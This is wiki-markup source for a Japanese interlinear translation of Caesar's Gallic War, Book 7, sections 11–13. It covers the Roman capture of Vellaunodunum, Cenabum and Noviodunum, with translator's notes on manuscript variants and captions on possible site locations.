*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Duabus [[wikt:en:Agedincum#Latin|Agedinci]] legionibus atque [[wikt:en:impedimentum#Latin|impedimentis]] [[wikt:en:totus#Latin|totius]] [[wikt:en:exercitus#Noun|exercitus]] [[wikt:en:relictus#Latin|relictis]], 
**アゲディンクムに、2個軍団および軍隊全体の輜重を残すと、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：アゲディンクムは敵対するセノネース族の首邑だが、&lt;br&gt;　　　　　[[ガリア戦記 第6巻#44節|第6巻44節]]で6個軍団を冬営させていた。&lt;br&gt;　　　　　現在の[[w:サンス|サーンス]]。）&lt;/span&gt;
*ad [[wikt:en:Boii#Latin|Boios]] [[wikt:en:proficiscitur|proficiscitur]].
**[[w:ボイイ族|ボイイー族]]のもとへ出発した。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===11節===
[[画像:France_-_Loiret_-_Montargis_-_Passerelle_vers_l'écluse.JPG|thumb|right|250px|ウェッラウノドゥーヌムの候補地の一つであるモンタルジ（Montargis）の運河沿いの景観。セノネース族の城塞都市ウェッラウノドゥーヌム（Vellaunodunum）が現在のどの地点に当たるのか定説はない。アゲディンクム（現在の[[w:サンス|サーンス]]）とケナブム（現在の[[w:オルレアン|オルレアン]]）の中間地点であると考えられることから、モンタルジ（[[w:en:Montargis|Montargis]]）、ボーヌ＝ラ＝ロランド（[[w:en:Beaune-la-Rolande|Beaune-la-Rolande]]）やシャトー＝ランドン（[[w:en:Château-Landon|Château-Landon]]）などが候補地に挙げられている。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/11節]]　{{進捗|00%|2026-02-02}}&lt;/span&gt;
;セノネース族のウェッラウノドゥーヌムを降し、カルヌーテース族のケナブムを攻略
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:alter#Latin|Altero]] die 
**&lt;small&gt;（カエサルは出発して）&lt;/small&gt;翌日に、
*cum ad [[wikt:en:oppidum#Latin|oppidum]] [[wikt:en:Senones#Latin|Senonum]] [[wikt:en:Vellaunodunum#Latin|Vellaunodunum]] [[wikt:en:venisset|venisset]], 
**セノネース族の城塞都市ウェッラウノドゥーヌムへやって来たときに、
*ne [[wikt:en:aliquem|quem]] post se hostem [[wikt:en:relinqueret|relinqueret]], 
**自らの後方に何らかの敵を残しておかないように、
*[[wikt:en:quo#Latin|quo]] [[wikt:en:expeditior#Latin|expeditiore]] re [[wikt:en:frumentarius#Adjective|frumentaria]] [[wikt:en:uteretur|uteretur]], 
**そのことにより、妨げなく糧秣供給を享受するように、
*[[wikt:en:oppugnare#Latin|oppugnare]] [[wikt:en:instituit#Latin|instituit]] 
**&lt;small&gt;（同市の）&lt;/small&gt;攻囲を決めて、
*&lt;u&gt;idque&lt;/u&gt; [[wikt:en:biduum#Latin|biduo]] [[wikt:en:circumvallavit|circumvallavit]]; 
**それ&lt;small&gt;〔城塞都市〕&lt;/small&gt;を2日間で&lt;small&gt;（塁壁で）&lt;/small&gt;囲んだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:id#Latin|id]]&lt;nowiki&gt;que&lt;/nowiki&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:eo#Etymology_4|eo]]&lt;nowiki&gt;que&lt;/nowiki&gt; となっている。）&lt;/span&gt;
:　
;　　　セノネース族の城塞都市ウェッラウノドゥーヌムが降伏する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:tertius#Latin|tertio]] die 
**3日目に、
*[[wikt:en:missus#Participle|missis]] ex [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:legatus#Noun|legatis]] de [[wikt:en:deditio#Latin|deditione]], 
**城塞都市から降伏についての使節たちが遣わされて来て、
*[[wikt:en:arma#Latin|arma]] [[wikt:en:conferri|conferri]], 
**武器が運び集められること、
*[[wikt:en:iumentum#Latin|iumenta]] [[wikt:en:produci#Latin|produci]], 
**役畜が引き渡されること、
*[[wikt:en:sescenti#Latin|sescentos]] [[wikt:en:obses#Latin|obsides]] [[wikt:en:dari#Latin|dari]] [[wikt:en:iubet#Latin|iubet]]. 
**600名の人質が供出されることを&lt;small&gt;（カエサルが）&lt;/small&gt;命じる。
:　
;　　　ウェッラウノドゥーヌムに副官トレボーニスと守備隊を残し、カエサル自身はケナブムへ向かう
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Ea qui [[wikt:en:conficeret|conficeret]], 
**それらのことを成就するための者として、
*[[wikt:en:Gaius#Latin|Gaium]] [[wikt:en:Trebonius#Latin|Trebonium]] [[wikt:en:legatus#Latin|legatum]] [[wikt:en:relinquit|relinquit]]. 
**&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; [[w:ガイウス・トレボニウス|ガーイウス・トレボーニウス]]を&lt;small&gt;（ウェッラウノドゥーヌムに）&lt;/small&gt;残留させる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[w:la:Gaius Trebonius|Gaius Trebonius]] は、カエサルの副官の一人。）&lt;/span&gt;
*Ipse, ut quam primum iter &lt;u&gt;faceret&lt;/u&gt;&lt;ref&gt;faceret はα系写本の表記で、β系写本では conficeret となっている。&lt;/ref&gt;, 
**&lt;small&gt;（カエサル）&lt;/small&gt;自身は、できるだけ素早く&lt;small&gt;（ゴルゴビナへの）&lt;/small&gt;行軍を成就するように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:quam#Adverb|quam]] [[wikt:en:primum#Latin|primum]] 〜「できるだけ素早く〜」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:faceret|faceret]]  だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:conficeret|conficeret]] となっている。）&lt;/span&gt;
*[[wikt:en:Genabum#Latin|Cenabum]] [[wikt:en:Carnutes#Latin|Carnutum]] [[wikt:en:proficiscitur|proficiscitur]]; 
**カルヌーテース族のケナブムに出発する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ケナブム Cenabum はケルト語風の読みで、現在の[[w:オルレアン|オルレアン]]。）&lt;/span&gt;
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; qui tum primum [[wikt:en:adlatus#Latin|adlato]] [[wikt:en:nuntium#Latin|nuntio]] de [[wikt:en:oppugnatio#Latin|oppugnatione]] [[wikt:en:Vellaunodunum#Latin|Vellaunoduni]], 
**そのとき彼ら&lt;small&gt;〔カルヌーテース族〕&lt;/small&gt;は、当初はウェッラウノドゥーヌムの攻囲についての報告をもたらされて、
*cum [[wikt:en:longe#Latin|longius]] eam rem &lt;u&gt;ductum&lt;/u&gt; [[wikt:en:iri#Latin|iri]] [[wikt:en:existimarent|existimarent]], 
**その事･軍事作戦はより長く引き延ばされて行われると考えていたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ductus#Noun_2|ductus]] は、軍事的な指揮・作戦などを表す。[[#62節]]も同様。）&lt;/span&gt;
*[[wikt:en:praesidium#Latin|praesidium]] [[wikt:en:Genabum#Latin|Cenabi]] [[wikt:en:tuendus#Latin|tuendi]] causa, quod eo [[wikt:en:mitterent|mitterent]], [[wikt:en:comparabant|comparabant]]. 
**ケナブムを固守するために、守備隊をそこへ派遣することを準備していた。
:　
;　　　カエサルが、カルヌーテース族の城塞都市ケナブムの攻囲を翌日に延期する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:huc#Latin|Huc]] [[wikt:en:biduum#Latin|biduo]] [[wikt:en:pervenit#Etymology_1|pervenit]]. 
**&lt;small&gt;（カエサルは）&lt;/small&gt;ここ&lt;small&gt;〔ケナブム〕&lt;/small&gt;へ2日間で到着する。
*[[wikt:en:castra#Latin|Castris]] ante oppidum [[wikt:en:positus#Participle|positis]], 
**城塞都市の前に陣営を設置したが、
*[[wikt:en:dies#Latin|diei]] [[wikt:en:tempus#Latin|tempore]] [[wikt:en:exclusus#Latin|exclusus]] 
**日の時刻&lt;small&gt;〔夕刻〕&lt;/small&gt;によって妨げられたので、
*in posterum [[wikt:en:oppugnatio#Latin|oppugnationem]] [[wikt:en:differt|differt]], 
**翌日に攻囲を延期する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in posterum ＝ in [[wikt:en:posterus#Latin|posterum]] [[wikt:en:diem#Latin|diem]]「翌日に」）&lt;/span&gt;
*[[wikt:en:quisque#Latin|quaeque]] ad eam rem [[wikt:en:usus#Latin|usui]] [[wikt:en:sint#Latin|sint]], 
**その事&lt;small&gt;〔攻囲〕&lt;/small&gt;に有益になることは何であれ、
*[[wikt:en:miles#Latin|militibus]] [[wikt:en:imperat|imperat]]; 
**兵士たちに命令する。

[[画像:Orleans.jpg|thumb|right|400px|ケナブム（Cenabum）すなわち現在の[[w:オルレアン|オルレアン]]（Orléans）を流れるリゲル川（現在の[[w:ロワール川|ロワール川]]）の景観。左が北岸のオルレアン聖十字架大聖堂、右がジョージ5世橋と思われる。]]
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; et, quod oppidum [[wikt:en:Genabum#Latin|Cenabum]] [[wikt:en:pons#Latin|pons]] [[wikt:en:flumen#Latin|fluminis]] [[wikt:en:Liger#Latin|Ligeris]] [[wikt:en:contingebat|contingebat]], 
**城塞都市ケナブムには、リゲル川の橋が接していたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：リゲル川は、現在の[[w:ロワール川|ロワール川]]。）&lt;/span&gt;
*[[wikt:en:veritus#Latin|veritus]] ne [[wikt:en:noctu#Adverb|noctu]] ex oppido [[wikt:en:profugerent|profugerent]], 
**夜間に城塞都市から&lt;small&gt;（敵勢が）&lt;/small&gt;逃亡するのではないかと恐れて、
*[[wikt:en:duo#Latin|duas]] legiones in [[wikt:en:arma#Latin|armis]] [[wikt:en:excubare|excubare]] [[wikt:en:iubet#Latin|iubet]]. 
**&lt;small&gt;（カエサルは）&lt;/small&gt;2個[[w:ローマ軍団|軍団]]に武装して寝ずの番をすることを命じる。
:　
;　　　ケナブムの住民たちが退避し始める
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:Genabensis#Noun|Cenabenses]] paulo ante mediam noctem 
**ケナブムの人々は、真夜中の少し前に
*[[wikt:en:silentium#Latin|silentio]] ex oppido [[wikt:en:egressus#Participle|egressi]] 
**沈黙のうちに城塞都市から出て、
*flumen [[wikt:en:transire#Latin|transire]] [[wikt:en:coeperunt|coeperunt]]. 
**川を渡り始めた。
:　
;　　　カエサルの諸軍団がケナブムを制圧する
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; Qua re per [[wikt:en:explorator#Latin|exploratores]] [[wikt:en:nuntiatus#Latin|nuntiata]] 
**その事が偵察者たちによって報告されると、
*Caesar legiones, quas [[wikt:en:expeditus#Latin|expeditas]] esse [[wikt:en:iusserat|iusserat]] 
**カエサルは、戦備を整えることを命じていた諸軍団を、
*[[wikt:en:porta#Latin|portis]] [[wikt:en:incensus#Participle|incensis]] 
**&lt;small&gt;（ケナブムの）&lt;/small&gt;城門を焼き打ちさせた後で、
*[[wikt:en:intromittit|intromittit]] atque oppido [[wikt:en:potitur|potitur]], 
**&lt;small&gt;（軍団を）&lt;/small&gt;送り込み、城塞都市を占領させて、
*[[wikt:en:perpaucus#Latin|perpaucis]] ex hostium numero [[wikt:en:desideratus#Latin|desideratis]] [[wikt:en:quin#Latin|quin]] [[wikt:en:cunctus#Latin|cuncti]] [[wikt:en:caperentur#Etymology_1|caperentur]], 
**敵のうちからわずかな数を取り逃がしたが、むしろ皆がことごとく捕らえられた。
*quod [[wikt:en:pons#Latin|pontis]] atque [[wikt:en:iter#Latin|itinerum]] [[wikt:en:angustia#Latin|angustiae]] &lt;u&gt;multitudinis&lt;/u&gt; fugam [[wikt:en:intercluserant|intercluserant]]. 
**──というのは、橋や道の狭さが、大勢の逃亡をさえぎったからである。──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:multitudinis|multitudinis]]&lt;sub&gt;&amp;nbsp;(単数･属格)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:multitudini|multitudini]]&lt;sub&gt;&amp;nbsp;(単数･与格)&lt;/sub&gt; となっている。）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　カエサル勢がケナブムを略奪・焼き討ち。リゲル川を渡ってビトゥリゲース族領へ達する
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; Oppidum [[wikt:en:diripit|diripit]] atque [[wikt:en:incendit|incendit]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;城塞都市を略奪し、焼き討ちして、
*[[wikt:en:praeda#Latin|praedam]] militibus [[wikt:en:donat#Latin|donat]], 
**略奪品を兵士たちに与える。
*[[wikt:en:exercitus#Noun|exercitum]] &lt;u&gt;Ligerem&lt;/u&gt; [[wikt:en:traducit|traducit]] 
***軍隊にリゲル川を渡らせて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:Ligerem|Ligerem]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では Ligerim となっている。）&lt;/span&gt;
*atque in [[wikt:en:Bituriges#Latin|Biturigum]] fines [[wikt:en:pervenit#Etymology_1|pervenit]].
*ビトゥリゲース族の領土に到達する。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===12節===
[[画像:Sancerre.jpg|thumb|right|250px|ビトゥリゲース族の城塞都市があったと考えられる[[w:サンセール|サンセール]]（[[w:en:Sancerre|Sancerre]]）の街並み。カエサルがケナブム（現[[w:オルレアン|オルレアン]]）からリゲル川（現[[w:ロワール川|ロワール川]]）沿いに当初の目的地であったゴルゴビナへ向かい、後にアウァーリクム（現[[w:ブールジュ|ブールジュ]]）へ右折したと見なせば、この地がノウィオドゥーヌムであったとも考えられる。街の名 Sancerre の意味が「カエサルに捧げられた」であるという説もある。現在は[[w:ロワールワイン|ロワールワイン]]の産地として有名で、辛口の白ワインなどの銘柄「Sancerre」にもなっている。]]
[[画像:Neung-sur-Beuvron_église_Saint-Denis_1.jpg|thumb|right|250px|城塞都市ノウィオドゥーヌム（Noviodunum）の所在地として現在有力視されている[[w:ロワール＝エ＝シェール県|ロワール＝エ＝シェール県]]のヌン＝スュル＝ブーヴロン（[[w:en:Neung-sur-Beuvron|Neung-sur-Beuvron]]）のサン＝ドニ教会。カエサルは当初の目的地であったボイイー族のゴルゴビナへは真っ直ぐ向かわずに大きく迂回しており、ケナブム（現[[w:オルレアン|オルレアン]]）の南方約45kmにあるこの地点（Beuvron川沿いのNeung）がノウィオドゥーヌムであると推定されている。上空からは、ガッリア時代の城塞都市跡の輪郭が見て取れるという。しかしながら、ボイイ族からは遠い位置にある。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/12節]]　{{進捗|00%|2026-02-02}}&lt;/span&gt;
;ビトゥリゲース族のノウィオドゥーヌムを降すが、敵の騎兵が来援
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]], ubi de Caesaris [[wikt:en:adventus#Latin|adventu]] [[wikt:en:cognovit#Latin|cognovit]],  
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、カエサルの到来について知るや否や、
*[[wikt:en:oppugnatio#Latin|oppugnatione]] &lt;u&gt;destitit&lt;/u&gt; 
**&lt;small&gt;（ボイイー族の城塞都市ゴルゴビナの）&lt;/small&gt;攻略を取り止めて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;alpha;系写本では [[wikt:en:destitit|destitit]]&lt;sub&gt;&amp;nbsp;(完了形)&lt;/sub&gt; だが、&lt;br&gt;　　　　　&amp;beta;系写本や印刷本では [[wikt:en:desistit#Latin|desistit]]&lt;sub&gt;&amp;nbsp;(現在形)&lt;/sub&gt; となっている。）&lt;/span&gt;
*atque [[wikt:en:obviam#Adverb|obviam]] Caesari [[wikt:en:proficiscitur|proficiscitur]]. 
**カエサルの方に向かって進発する。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Ille oppidum [[wikt:en:Biturigēs|Biturigum]] [[wikt:en:positus#Latin|positum]] in via [[wikt:en:Noviodunum#Latin|Noviodunum]] [[wikt:en:oppugnare#Latin|oppugnare]] [[wikt:en:instituerat|instituerat]]. 
**彼&lt;small&gt;〔カエサル〕&lt;/small&gt;は、途中に位置しているビトゥリゲース族の[[w:オッピドゥム|城塞都市]]ノウィオドゥーヌムの攻略を決めていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：どこへの途中なのか明記されていないため、その解釈により場所についての解釈が変わるようである。）&lt;/span&gt;
:　
;　　　カエサルの城塞都市ノウィオドゥーヌムへの降伏条件
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:qui#Determiner|Quo]] ex oppido 
**その城塞都市から
*cum legati ad eum [[wikt:en:venissent|venissent]] [[wikt:en:oratum#Verb|oratum]] ut sibi [[wikt:en:ignosceret|ignosceret]] suaeque vitae [[wikt:en:consuleret|consuleret]], 
**使節たちが彼&lt;small&gt;〔カエサル〕&lt;/small&gt;のもとへ、自分たちを容赦して生命を助けるように嘆願するために、やって来たときに、
*ut celeritate reliquas res [[wikt:en:conficeret|conficeret]], [[wikt:en:qui#Determiner|qua]] [[wikt:en:pleraque#Latin|pleraque]] erat [[wikt:en:consecutus#Latin|consecutus]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;多くのことを実行してきた迅速さによって、ほかの事を成し遂げるために、
*arma [[wikt:en:conferri|conferri]], 
**武具が運び集められること、
*[[wikt:en:quus#Latin|equos]] [[wikt:en:produci#Verb_2|produci]], 
**馬匹が引き渡されること、
*obsides [[wikt:en:dari#Latin|dari]] [[wikt:en:iubet#Latin|iubet]]. 
**人質が供出されること、を命じる。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Parte iam obsidum [[wikt:en:traditus#Participle|tradita]], 
**すでに人質の一部が移送されて、
*cum [[wikt:en:reliqua#Latin|reliqua]] [[wikt:en:administrarentur|administrarentur]], 
**残り&lt;small&gt;（の人質たち）&lt;/small&gt;が処置されていたときに、
*[[wikt:en:centurio#Latin|centurionibus]] et paucis [[wikt:en:miles#Latin|militibus]] [[wikt:en:intromissus#Latin|intromissis]], qui arma [[wikt:en:iumentum#Latin|iumenta]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:conquirerent|conquirerent]], 
**&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちや若干の兵士たちが、武器や[[w:使役動物|役畜]]を探し集めるべく&lt;small&gt;（城塞都市の中に）&lt;/small&gt;送り込まれていたのだが、
*[[wikt:en:equitatus#Noun|equitatus]] hostium procul [[wikt:en:visus#Latin|visus]] est, qui [[wikt:en:agmen#Latin|agmen]] [[wikt:en:Vercingetorix#Latin|Vercingetorigis]] [[wikt:en:antecesserat|antecesserat]]. 
**ウェルキンゲトリークスの隊列に先行していた敵の[[w:騎兵|騎兵隊]]が遠くに望見された。
:　
;　　　ウェルキンゲトリークスの来援に気づいた城塞の者たちが、籠城に転じる
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Quem [[wikt:en:simulatque|simulatque]] [[wikt:en:oppidanus#Noun|oppidani]] [[wikt:en:conspexerunt|conspexerunt]] atque in [[wikt:en:spes#Latin|spem]] [[wikt:en:auxilium#Latin|auxilii]] [[wikt:en:venerunt|venerunt]], 
**それ&lt;small&gt;&lt;/small&gt;を城塞都市の者たちが視認して、救援の希望を抱くや否や、
*[[wikt:en:clamor#Latin|clamore]] [[wikt:en:sublatus#Etymology_1|sublato]] 
**雄叫びを上げて、
*arma capere, 
**武具を取ること、
*portas [[wikt:en:claudere#Etymology_1|claudere]], 
**城門を閉じること、
*[[wikt:en:murus#Latin|murum]] [[wikt:en:complere|complere]] [[wikt:en:coeperunt|coeperunt]]. 
**城壁を&lt;small&gt;（兵で）&lt;/small&gt;満たすこと、を始めた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：sublato は　[[wikt:en:tollo|tollo]] の分詞）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　城塞民たちの心変わりに感づいたローマ人の将兵たちが城外に撤収する
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; [[wikt:en:centurio#Latin|Centuriones]] in oppido, 
**城塞都市の中の&lt;small&gt;（カエサルの配下の）&lt;/small&gt;百人隊長たちは、
*cum ex [[wikt:en:significatio#Latin|significatione]] Gallorum [[wikt:en:novus#Latin|novi]] [[wikt:en:aliquis#Latin|aliquid]] ab iis [[wikt:en:iniri#Latin|iniri]] consilii [[wikt:en:intellexissent|intellexissent]], 
**ガッリア人たちの兆候から、彼らによる何らかの新たな謀りごとが始められていると察知していたので、
*[[wikt:en:gladius#Latin|gladiis]] [[wikt:en:destrictus#Latin|destrictis]] 
**&lt;ruby&gt;&lt;rb&gt;[[w:グラディウス (武器)|長剣]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;グラディウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を抜いて、
*portas [[wikt:en:occupaverunt|occupaverunt]] 
**城門を占拠して、
*suosque omnes [[wikt:en:incolumis#Latin|incolumes]] [[wikt:en:receperunt|receperunt]].
**配下たち皆を無傷なままで退却させた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===13節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/13節]]　{{進捗|00%|2026-02-15}}&lt;/span&gt;
[[画像:Caesar's_campaign_to_Noviodunum_in_52BC.png|thumb|right|250px|ノウィオドゥーヌムに至るカエサルの進路（青線）および[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の進路（赤線）。青字名は親ローマ部族、赤字名は反ローマ部族。カエサルはアゲディンクムを発してからウェッラウノドゥーヌム、ケナブム、ノウィオドゥーヌムを続けて降し、ボイイー族のゴルゴビナ攻略を諦めたウェルキンゲトリークスもノウィオドゥーヌム来援に駆けつけて来た。ここに、初めて両軍が騎兵戦で激突することになった。]]

;同盟軍の騎兵を撃退、城塞都市を再び降して、アウァーリクム攻めに向かう
:　
;　　　カエサルが、騎兵戦の切り札としてゲルマーニア騎兵を繰り出す
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar ex castris [[wikt:en:equitatus#Latin|equitatum]] [[wikt:en:educi#Latin|educi]] [[wikt:en:iubet#Latin|iubet]], 
**カエサルは、陣営から[[w:騎兵|騎兵隊]]を進発させることを命じて、
*&lt;u&gt;[[wikt:en:proelium#Latin|proelium]]&lt;/u&gt; [[wikt:en:equester#Latin|equestre]] [[wikt:en:committit|committit]]; 
**&lt;small&gt;（ウェルキンゲトリークス勢と）&lt;/small&gt;騎兵戦を交える。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;alpha;系写本では proelium だが、&lt;br&gt;　　　　　&amp;beta;系写本では proelium&lt;u&gt;que&lt;/u&gt; となっている。）&lt;/span&gt;
*[[wikt:en:laborans#Latin|laborantibus]] iam suis 
**配下の者たちがすでに苦戦していたときに、
*[[wikt:en:Germanus#Adjective|Germanos]] [[wikt:en:eques#Latin|equites]] circiter CCCC([[wikt:en:quadringentos|quadringentos]]) [[wikt:en:submittit|submittit]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;[[w:ゲルマニア|ゲルマーニア]]人の騎兵たち約400騎を救援に派遣する。
*quos ab [[wikt:en:initium#Latin|initio]] &lt;u&gt;habere [[wikt:en:secum#Latin|secum]]&lt;/u&gt; [[wikt:en:instituerat|instituerat]]. 
**その者らは&lt;small&gt;（戦いの）&lt;/small&gt;当初から自分のそばに保持すると決めていたものであった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　　&amp;chi;系･B･M･S写本では habere secum だが、&lt;br&gt;　　　　　&amp;beta;系･L･N写本では secum habere となっている。）&lt;/span&gt;
:　
;　　　ゲルマーニア騎兵が、ウェルキンゲトリークス配下の騎兵を一蹴する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Eorum [[wikt:en:impetus#Latin|impetum]] [[wikt:en:Galli#Latin|Galli]] [[wikt:en:sustineo#Latin|sustinere]] non [[wikt:en:potuerunt|potuerunt]] 
**彼ら&lt;small&gt;〔ゲルマーニア人騎兵〕&lt;/small&gt;の突撃に&lt;small&gt;（敵側の）&lt;/small&gt;ガッリア人たちは持ちこたえることができず、
*atque in fugam [[wikt:en:coniectus#Participle|coniecti]] 
**敗走に追いやられて、
*multis [[wikt:en:amissus#Latin|amissis]] 
**大勢の者を失い、
*se ad [[wikt:en:agmen#Latin|agmen]] [[wikt:en:receperunt|receperunt]]. 
**&lt;small&gt;（後方にいたウェルキンゲトリークスの）&lt;/small&gt;隊列に退却した。
:　
;　　　城塞都市ノウィオドゥーヌムがカエサルの軍門に降る
*Quibus [[wikt:en:profligatus#Latin|profligatis]], 
**彼ら&lt;small&gt;〔ウェルキンゲトリークスの騎兵隊〕&lt;/small&gt;が制圧されると、
*rursus [[wikt:en:oppidanus#Noun|oppidani]] [[wikt:en:perterritus#Latin|perterriti]] 
**[[w:オッピドゥム|城塞都市]]&lt;small&gt;〔ノウィオドゥーヌム〕&lt;/small&gt;の者たちは再び怖れをなして、
*[[wikt:en:comprehensus#Latin|comprehensos]] eos, quorum [[wikt:en:opera#Latin|opera]] [[wikt:en:plebs#Latin|plebem]] [[wikt:en:concitatus#Latin|concitatam]] [[wikt:en:existimabant|existimabant]], 
**その働きかけによって民衆を扇動したと&lt;small&gt;（城塞の民が）&lt;/small&gt;考えていたところの者たちを拘束して、
*ad Caesarem [[wikt:en:perduxerunt|perduxerunt]] 
**カエサルのもとへ連行して、
*seseque ei [[wikt:en:dediderunt|dediderunt]]. 
**自分たちも彼&lt;small&gt;〔カエサル〕&lt;/small&gt;に降伏した。

:　&lt;!--　[[wikt:en:|　--&gt;
;　　　カエサルが、ビトゥリゲース族の城塞都市アウァーリクムを目指す
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Quibus rebus [[wikt:en:confectus#Latin|confectis]], 
**それらの事が成し遂げられると、
*Caesar ad oppidum [[wikt:en:Avaricum#Latin|Avaricum]], 
**カエサルは、[[w:オッピドゥム|城塞都市]]アウァーリクムへ、
*quod erat [[wikt:en:maximus#Latin|maximum]] [[wikt:en:munitissimus#Latin|munitissimum]]&lt;nowiki&gt;que&lt;/nowiki&gt; in finibus [[wikt:en:Bituriges#Latin|Biturigum]] atque [[wikt:en:ager#Latin|agri]] [[wikt:en:fertilissimus#Latin|fertilissima]] [[wikt:en:regio#Latin|regione]], 
**──それはビトゥリゲース族の領土で耕地の最も肥沃な地方にあり、最大かつ最も要塞化されていたが、──
*[[wikt:en:profectus#Etymology_3|profectus]] est, 
**&lt;small&gt;（そこへ）&lt;/small&gt;出発した。
*quod eo oppido [[wikt:en:receptus#Latin|recepto]] 
**──というのは、その城塞都市を獲得することで、
*[[wikt:en:civitas#Latin|civitatem]] [[wikt:en:Bituriges#Latin|Biturigum]] se in [[wikt:en:potestas#Latin|potestatem]] [[wikt:en:redacturus#Latin|redacturum]] [[wikt:en:confidebat|confidebat]].
**ビトゥリゲースの部族国家を&lt;small&gt;（カエサルの）&lt;/small&gt;隷下に引き戻すであろうと、確信していたからである──。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
